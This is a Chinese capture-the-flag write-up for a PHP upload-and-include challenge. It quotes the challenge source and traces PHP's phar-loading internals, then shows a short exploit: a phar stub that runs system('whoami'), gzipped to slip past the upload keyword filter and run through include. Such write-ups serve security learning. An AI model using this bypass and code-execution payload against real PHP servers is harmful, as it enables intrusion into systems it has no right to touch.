本文最后更新于 3 天前,其中的信息可能已经有所发展或是发生改变。
题目源码:
index.php
<?php
# index.php
session_start();
error_reporting(0);
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = random_bytes(4);
}
if (!isset($_GET['url'])) {
die("Nope :<");
}
$include_url = basename($_GET['url']);
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']);
if (!file_exists($SANDBOX)) {
mkdir($SANDBOX);
}
if (!file_exists($SANDBOX . '/' . $include_url)) {
die("Nope :<");
}
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
die("Nope :<");
}
@include($SANDBOX . '/' . $include_url);
?>
upload.php
<?php
# upload.php
session_start();
error_reporting(0);
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x-bzip2',
'application/gzip',
'application/x-gzip',
'application/x-xz',
'application/x-7z-compressed',
];
function filter($tempfile)
{
$data = file_get_contents($tempfile);
if (
stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
) {
return true;
}
return false;
}
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = random_bytes(4);
}
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']);
if (!file_exists($SANDBOX)) {
mkdir($SANDBOX);
}
if ($_SERVER["REQUEST_METHOD"] == 'POST') {
if (is_uploaded_file($_FILES['file']['tmp_name'])) {
if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
die("Nope :<");
}
// mimetype check
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($mime_type, $allowed_mime_types)) {
die('Nope :<');
}
// ext check
$ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
die('Nope :<');
}
if (move_uploaded_file($_FILES['file']['tmp_name'], "$SANDBOX/" . basename($_FILES['file']['name']))) {
echo "File upload success!";
}
}
}
?>
<form enctype='multipart/form-data' action='upload.php' method='post'>
<input type='file' name='file'>
<input type="submit" value="upload"></p>
</form>
Dockerfile
FROM php:8.2-apache
RUN DEBIAN_FRONTEND=noninteractive apt-get update && \
apt-get install -y \
gcc \
libbz2-dev && \
docker-php-ext-install bz2 && \
rm -rf /var/lib/apt/lists/
RUN rm -rf /var/www/html/*
COPY flag.txt readflag.c /
RUN gcc -o /readflag /readflag.c && \
rm /readflag.c
RUN chown 0:1337 /flag.txt /readflag && \
chmod 040 /flag.txt && \
chmod 2555 /readflag
COPY src/index.php src/upload.php /var/www/html/
RUN chown -R root:root /var/www && \
find /var/www -type d -exec chmod 555 {} \; && \
find /var/www -type f -exec chmod 444 {} \; && \
mkdir /var/www/html/uploads && \
chmod 703 /var/www/html/uploads
RUN find / -ignore_readdir_race -type f \( -perm -4000 -o -perm -2000 \) -not -wholename /readflag -delete
USER www-data
RUN (find --version && id --version && sed --version && grep --version) > /dev/null
USER root
EXPOSE 80
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
可以看到
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
die("Nope :<");
}
上传文件,同时检查上传文件的关键字,不能出现
if (
stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
) {
return true;
}
return false;
}
php8.23.3源码中include底层实现
zend_op_array *compile_filename(int type, zend_string *filename)
{
zend_file_handle file_handle;
zend_op_array *retval;
zend_string *opened_path = NULL;
zend_stream_init_filename_ex(&file_handle, filename);
retval = zend_compile_file(&file_handle, type);
if (retval && file_handle.handle.stream.handle) {
if (!file_handle.opened_path) {
file_handle.opened_path = opened_path = zend_string_copy(filename);
}
zend_hash_add_empty_element(&EG(included_files), file_handle.opened_path);
if (opened_path) {
zend_string_release_ex(opened_path, 0);
}
}
zend_destroy_file_handle(&file_handle);
return retval;
}
php内核的内部函数,对应到phar文件的编译方法
phar_compile_file
static zend_op_array *phar_compile_file(zend_file_handle *file_handle, int type) /* {{{ */
{
zend_op_array *res;
zend_string *name = NULL;
int failed;
phar_archive_data *phar;
if (!file_handle || !file_handle->filename) {
return phar_orig_compile_file(file_handle, type);
}
if (strstr(ZSTR_VAL(file_handle->filename), ".phar") && !strstr(ZSTR_VAL(file_handle->filename), "://")) {
if (SUCCESS == phar_open_from_filename(ZSTR_VAL(file_handle->filename), ZSTR_LEN(file_handle->filename), NULL, 0, 0, &phar, NULL)) {
if (phar->is_zip || phar->is_tar) {
zend_file_handle f;
/* zip or tar-based phar */
name = zend_strpprintf(4096, "phar://%s/%s", ZSTR_VAL(file_handle->filename), ".phar/stub.php");
zend_stream_init_filename_ex(&f, name);
if (SUCCESS == zend_stream_open_function(&f)) {
zend_string_release(f.filename);
f.filename = file_handle->filename;
if (f.opened_path) {
zend_string_release(f.opened_path);
}
f.opened_path = file_handle->opened_path;
switch (file_handle->type) {
case ZEND_HANDLE_STREAM:
if (file_handle->handle.stream.closer && file_handle->handle.stream.handle) {
file_handle->handle.stream.closer(file_handle->handle.stream.handle);
}
file_handle->handle.stream.handle = NULL;
break;
default:
break;
}
*file_handle = f;
}
} else if (phar->flags & PHAR_FILE_COMPRESSION_MASK) {
/* compressed phar */
file_handle->type = ZEND_HANDLE_STREAM;
/* we do our own reading directly from the phar, don't change the next line */
file_handle->handle.stream.handle = phar;
file_handle->handle.stream.reader = phar_zend_stream_reader;
file_handle->handle.stream.closer = NULL;
file_handle->handle.stream.fsizer = phar_zend_stream_fsizer;
file_handle->handle.stream.isatty = 0;
phar->is_persistent ?
php_stream_rewind(PHAR_G(cached_fp)[phar->phar_pos].fp) :
php_stream_rewind(phar->fp);
}
}
}
可以看到
if (strstr(ZSTR_VAL(file_handle->filename), ".phar") && !strstr(ZSTR_VAL(file_handle->filename), "://")) {
if (SUCCESS == phar_open_from_filename(ZSTR_VAL(file_handle->filename), ZSTR_LEN(file_handle->filename), NULL, 0, 0, &phar, NULL)) {
if (phar->is_zip || phar->is_tar) {
zend_file_handle f;
发现文件名中包含字符串 .phar
,会调用phar_open_from_filename
,跟进
会发现
ret = phar_open_from_fp(fp, fname, fname_len, alias, alias_len, options, pphar, is_data, error);
phar_open_from_fp
接着使用了本函数
static int phar_open_from_fp(php_stream* fp, char *fname, size_t fname_len, char *alias, size_t alias_len, uint32_t options, phar_archive_data** pphar, int is_data, char **error) /* {{{ */
{
static const char token[] = "__HALT_COMPILER();";
static const char zip_magic[] = "PK\x03\x04";
static const char gz_magic[] = "\x1f\x8b\x08";
static const char bz_magic[] = "BZh";
char *pos, test = '\0';
int recursion_count = 3; // arbitrary limit to avoid too deep or even infinite recursion
const int window_size = 1024;
char buffer[1024 + sizeof(token)]; /* a 1024 byte window + the size of the halt_compiler token (moving window) */
const zend_long readsize = sizeof(buffer) - sizeof(token);
const zend_long tokenlen = sizeof(token) - 1;
zend_long halt_offset;
size_t got;
uint32_t compression = PHAR_FILE_COMPRESSED_NONE;
if (error) {
*error = NULL;
}
if (-1 == php_stream_rewind(fp)) {
MAPPHAR_ALLOC_FAIL("cannot rewind phar \"%s\"")
}
buffer[sizeof(buffer)-1] = '\0';
memset(buffer, 32, sizeof(token));
halt_offset = 0;
/* Maybe it's better to compile the file instead of just searching, */
/* but we only want the offset. So we want a .re scanner to find it. */
while(!php_stream_eof(fp)) {
if ((got = php_stream_read(fp, buffer+tokenlen, readsize)) < (size_t) tokenlen) {
MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (truncated entry)")
}
if (!test && recursion_count) {
test = '\1';
pos = buffer+tokenlen;
if (!memcmp(pos, gz_magic, 3)) {
char err = 0;
php_stream_filter *filter;
php_stream *temp;
/* to properly decompress, we have to tell zlib to look for a zlib or gzip header */
zval filterparams;
if (!PHAR_G(has_zlib)) {
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\" to temporary file, enable zlib extension in php.ini")
}
array_init(&filterparams);
/* this is defined in zlib's zconf.h */
#ifndef MAX_WBITS
#define MAX_WBITS 15
#endif
add_assoc_long_ex(&filterparams, "window", sizeof("window") - 1, MAX_WBITS + 32);
/* entire file is gzip-compressed, uncompress to temporary file */
if (!(temp = php_stream_fopen_tmpfile())) {
MAPPHAR_ALLOC_FAIL("unable to create temporary file for decompression of gzipped phar archive \"%s\"")
}
php_stream_rewind(fp);
filter = php_stream_filter_create("zlib.inflate", &filterparams, php_stream_is_persistent(fp));
if (!filter) {
err = 1;
add_assoc_long_ex(&filterparams, "window", sizeof("window") - 1, MAX_WBITS);
filter = php_stream_filter_create("zlib.inflate", &filterparams, php_stream_is_persistent(fp));
zend_array_destroy(Z_ARR(filterparams));
if (!filter) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\", ext/zlib is buggy in PHP versions older than 5.2.6")
}
} else {
zend_array_destroy(Z_ARR(filterparams));
}
php_stream_filter_append(&temp->writefilters, filter);
if (SUCCESS != php_stream_copy_to_stream_ex(fp, temp, PHP_STREAM_COPY_ALL, NULL)) {
php_stream_filter_remove(filter, 1);
if (err) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\", ext/zlib is buggy in PHP versions older than 5.2.6")
}
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\" to temporary file")
}
php_stream_filter_flush(filter, 1);
php_stream_filter_remove(filter, 1);
php_stream_close(fp);
fp = temp;
php_stream_rewind(fp);
compression = PHAR_FILE_COMPRESSED_GZ;
/* now, start over */
test = '\0';
if (!--recursion_count) {
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\"");
break;
}
continue;
} else if (!memcmp(pos, bz_magic, 3)) {
php_stream_filter *filter;
php_stream *temp;
if (!PHAR_G(has_bz2)) {
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\" to temporary file, enable bz2 extension in php.ini")
}
/* entire file is bzip-compressed, uncompress to temporary file */
if (!(temp = php_stream_fopen_tmpfile())) {
MAPPHAR_ALLOC_FAIL("unable to create temporary file for decompression of bzipped phar archive \"%s\"")
}
php_stream_rewind(fp);
filter = php_stream_filter_create("bzip2.decompress", NULL, php_stream_is_persistent(fp));
if (!filter) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\", filter creation failed")
}
php_stream_filter_append(&temp->writefilters, filter);
if (SUCCESS != php_stream_copy_to_stream_ex(fp, temp, PHP_STREAM_COPY_ALL, NULL)) {
php_stream_filter_remove(filter, 1);
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\" to temporary file")
}
php_stream_filter_flush(filter, 1);
php_stream_filter_remove(filter, 1);
php_stream_close(fp);
fp = temp;
php_stream_rewind(fp);
compression = PHAR_FILE_COMPRESSED_BZ2;
/* now, start over */
test = '\0';
if (!--recursion_count) {
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\"");
break;
}
continue;
}
if (!memcmp(pos, zip_magic, 4)) {
php_stream_seek(fp, 0, SEEK_END);
return phar_parse_zipfile(fp, fname, fname_len, alias, alias_len, pphar, error);
}
if (got >= 512) {
if (phar_is_tar(pos, fname)) {
php_stream_rewind(fp);
return phar_parse_tarfile(fp, fname, fname_len, alias, alias_len, pphar, is_data, compression, error);
}
}
}
if (got > 0 && (pos = phar_strnstr(buffer, got + sizeof(token), token, sizeof(token)-1)) != NULL) {
halt_offset += (pos - buffer); /* no -tokenlen+tokenlen here */
return phar_parse_pharfile(fp, fname, fname_len, alias, alias_len, halt_offset, pphar, compression, error);
}
halt_offset += got;
memmove(buffer, buffer + window_size, tokenlen); /* move the memory buffer by the size of the window */
}
MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (__HALT_COMPILER(); not found)")
}
函数流程图
+--------------------------------------------------+
| 开始(函数入口) |
+--------------------------------------------------+
|
v
+-------------------------------------------+
| 尝试将流重置到文件开头 |
+-------------------------------------------+
|
如果重置失败 v
+-------------------------------------------+
| 报告错误并退出(MAPPHAR_ALLOC_FAIL) |
+-------------------------------------------+
|
v
+-------------------------------------------+
| 初始化缓冲区(用于读取文件) |
+-------------------------------------------+
|
v
+-------------------------------------------+
| 将文件内容读取到缓冲区并检查文件类型 |
| (GZIP/BZIP2/ZIP/TAR) |
+-------------------------------------------+
|
v
+-------------------------------------------+
| 是 GZIP 文件吗?如果是,使用 zlib 解压 |
+-------------------------------------------+
|
v
+-------------------------------------------+
| 是 BZIP2 文件吗?如果是,使用 bzip2 解压|
+-------------------------------------------+
|
v
+-------------------------------------------+
| 是 ZIP 文件吗?如果是,解析 ZIP 文件 |
+-------------------------------------------+
|
v
+-------------------------------------------+
| 是 TAR 文件吗?如果是,解析 TAR 文件 |
+-------------------------------------------+
|
v
+-------------------------------------------+
| 查找 __HALT_COMPILER() 标记(Phar 文件结束)|
+-------------------------------------------+
|
v
+-------------------------------------------+
| 找到结束标记吗?如果是,解析 Phar 文件 |
+-------------------------------------------+
|
v
+-------------------------------------------+
| 结束(返回解析后的 Phar 数据) |
+-------------------------------------------+
- 文件格式识别:首先判断文件是否为
.phar
文件,并识别其压缩格式(GZIP、BZIP2、ZIP、TAR) - 解压缩处理:根据文件类型选择合适的解压方式,必要时进行递归解压
- 查找结束标记:通过读取文件并查找
__HALT_COMPILER();
来判断.phar
文件的结束位置 - 文件解析:一旦找到结束标记,就开始解析
.phar
文件,提取其内容
压缩格式 / 类型 | 魔术头 (magic bytes) | 内核处理逻辑 | 是否能解析成 Phar | 说明 |
---|---|---|---|---|
原始 Phar(未压缩) | 无特定头,靠 __HALT_COMPILER(); | phar_parse_pharfile | ✅ 是 | 最常见的 phar 格式,文件末尾必须有 __HALT_COMPILER(); |
ZIP 格式 Phar | PK\x03\x04 | phar_parse_zipfile | ✅ 是 | Phar 可以用 ZIP 打包,PHP 内核会调用 ZIP 解析器 |
TAR 格式 Phar | 512 字节对齐,TAR 头部 | phar_parse_tarfile | ✅ 是 | Phar 也支持 TAR 打包 |
GZIP 压缩 Phar | 1F 8B 08 | 使用 zlib.inflate 解压后再解析 | ✅ 是 | 必须启用 zlib 扩展,否则报错 |
BZIP2 压缩 Phar | 42 5A 68 (BZh ) | 使用 bzip2.decompress 解压后再解析 | ✅ 是 | 必须启用 bz2 扩展,否则报错 |
XZ 压缩 Phar | (未在源码中匹配) | — | ❌ 否 | 内核默认不支持 XZ 压缩的 phar |
7z 压缩 Phar | (未在源码中匹配) | — | ❌ 否 | 内核默认不支持 7z |
任意其他压缩包 | 无法匹配 magic bytes | 回退到 MAPPHAR_ALLOC_FAIL | ❌ 否 | 会报错:找不到 __HALT_COMPILER(); |
借鉴狗哥的例子
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
system('whoami');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
gzip exploit.phar
将phar文件打包后
php会自动解压这个gz文件,所以最后相当于是直接include这个phar文件
由于底层函数的本质是匹配文件名有.phar
就会执行,也就是说include
的文件的文件名有.phar
就可以
所以题目就游刃而解了